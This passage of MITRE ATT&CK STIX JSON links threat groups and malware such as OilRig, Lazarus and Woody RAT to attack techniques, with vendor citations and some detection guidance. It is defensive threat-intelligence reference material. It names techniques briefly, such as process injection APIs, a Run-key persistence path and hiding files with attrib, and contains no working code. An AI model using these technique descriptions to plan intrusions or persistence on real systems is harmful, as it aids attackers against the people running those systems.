2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1ef4ee2-30bc-4f25-9e77-cf9d6cc576a8","type":"relationship","created":"2021-05-31T16:31:47.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.812Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has a command to get the public IP address from a system.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b20bd897-988b-422b-82d1-61e155d34115","created":"2024-07-30T14:10:28.889Z","revoked":false,"external_references":[{"source_name":"ESET WinterVivern 2023","description":"Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.","url":"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/"},{"source_name":"Proofpoint WinterVivern 2023","description":"Michael Raggi & The Proofpoint Threat Research Team. (2023, March 30). Exploitation is a Dish Best Served Cold: Winter Vivern Uses Known Zimbra Vulnerability to Target Webmail Portals of NATO-Aligned Governments in Europe. Retrieved July 29, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:10:28.889Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) has exploited known and zero-day vulnerabilities in software usch as Roundcube Webmail servers and the \"Follina\" vulnerability.(Citation: ESET WinterVivern 2023)(Citation: Proofpoint WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b20c6b3c-1314-419e-afa2-28ac8f54cf39","type":"relationship","created":"2021-10-14T22:35:21.504Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-10-14T22:35:21.504Z","description":"(Citation: Netscout Stolen Pencil Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b21266cc-1c7a-4ec5-9f15-5acc771a6560","created":"2024-09-03T16:50:15.228Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:50:15.228Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has created local system accounts and has added the accounts to privileged groups.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b2191a9b-4963-4fc1-8056-75908795a1af","created":"2023-02-14T18:37:28.626Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T19:22:31.154Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can use multiple native APIs, including `WriteProcessMemory`, `CreateProcess`, and `CreateRemoteThread` for process injection.(Citation: MalwareBytes WoodyRAT Aug 2022) ","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b21c213b-9a73-4784-b123-a339d401b66e","created":"2022-08-11T22:20:34.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T19:48:02.082Z","description":"[PyDCrypt](https://attack.mitre.org/software/S1032) has attempted to execute with PowerShell.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"malware--2ac41e8b-4865-4ced-839d-78e7852c47f3","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b21e44db-dc9f-4abe-82fa-97600ba47abc","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b228cc3b-a428-42e4-b6f3-994fe790e329","type":"relationship","created":"2019-01-30T15:27:06.665Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:28:19.541Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) creates a Registry entry to ensure infection after reboot under HKLM\\Software\\Microsoft\\Windows\\currentVersion\\Run.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b22b0a6c-5960-4232-9fb6-bae84fcc07ca","type":"relationship","created":"2021-04-16T19:04:13.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."},{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."},{"source_name":"ESET T3 Threat Report 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2022/02/eset_threat_report_t32021.pdf","description":"ESET. (2022, February). THREAT REPORT T3 2021. Retrieved February 10, 2022."}],"modified":"2022-02-10T16:42:30.909Z","description":"(Citation: Microsoft Analyzing Solorigate Dec 2020)(Citation: CrowdStrike StellarParticle January 2022)(Citation: ESET T3 Threat Report 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b22cebe6-129a-41a2-8a9e-70c222c88af6","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"},{"source_name":"Palo Alto OilRig Oct 2016","description":"Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-05T15:55:59.132Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has run whoami on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b22e151c-4919-4160-9f5c-143484948003","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.019Z","description":"[Comnie](https://attack.mitre.org/software/S0244) collects the hostname of the victim machine.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b237b06d-5c53-4d9d-8279-8ad1154df2f1","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Monitor for newly constructed files in order to manipulate external outcomes or hide activity","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b23da7b5-0d2d-4cfa-a2ad-ea89d86fecc6","type":"relationship","created":"2021-06-29T15:19:53.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:19:53.146Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use TCP in C2 communications.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b23e8d31-bb6a-42b4-ab34-1c9e302a3b74","created":"2022-04-13T16:26:21.148Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has been delivered via spearphishing campaigns through a malicious Word document.(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-18T19:53:05.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b240e6ba-9c38-4a6b-a4e9-30c07736711b","created":"2024-04-04T18:11:10.645Z","revoked":false,"external_references":[{"source_name":"Kersten Akira 2023","description":"Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.","url":"https://www.trellix.com/blogs/research/akira-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-04T18:11:10.645Z","description":"(Citation: Kersten Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b24131fe-0d25-456e-a2da-58da3ff5bc17","created":"2021-03-01T20:30:52.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AppleJeus Feb 2021","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021.","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a"},{"source_name":"Google TAG Lazarus Jan 2021","description":"Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.","url":"https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T19:06:42.641Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has acquired domains related to their campaigns to act as distribution points and C2 channels.(Citation: CISA AppleJeus Feb 2021)(Citation: Google TAG Lazarus Jan 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b2425d69-e91c-493a-aa66-598aa3d5c7f4","created":"2022-04-15T12:34:28.802Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can collect files from a compromised host.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:34:28.802Z","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b242e5c2-d360-4705-b2c5-e856dd7c9e43","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b244899c-bb0a-46c0-8f38-23d867a8a8b2","type":"relationship","created":"2020-09-24T14:35:41.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.584Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can execute via rundll32.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2463427-0ad2-426b-b8e3-fcae5347a545","type":"relationship","created":"2019-06-18T17:20:43.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black JCry May 2019","url":"https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/","description":"Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}],"modified":"2020-03-17T19:22:41.211Z","description":"[JCry](https://attack.mitre.org/software/S0389) has used cmd.exe to launch PowerShell.(Citation: Carbon Black JCry May 2019)\t","relationship_type":"uses","source_ref":"malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2496438-9431-40e5-8ca0-2ec713f342c3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2019-03-25T16:57:02.873Z","description":"(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b25018a8-039f-4d5d-8243-fc5e8bb7c392","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor the file system and shell commands for files being created with a leading \".” and the Windows command-line use of attrib.exe to add the hidden attribute.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2553142-9377-42b3-9fd6-50fcbd4263b3","type":"relationship","created":"2021-02-08T21:41:25.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-08T21:41:25.806Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has a function to use the OpenClipboard wrapper.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--b255397e-d2b9-409d-8983-7f5daf4065ce","created":"2024-08-26T18:25:44.779Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:25:44.779Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has gathered information on victim network configuration.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2562bd3-5f78-4bcb-a37b-cae2b415c629","type":"relationship","created":"2020-05-13T19:39:41.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T14:30:09.879Z","description":"[Molerats](https://attack.mitre.org/groups/G0021) used PowerShell implants on target machines.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:14.126Z","description":"[RTM](https://attack.mitre.org/software/S0148) runs its core DLL file using rundll32.exe.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 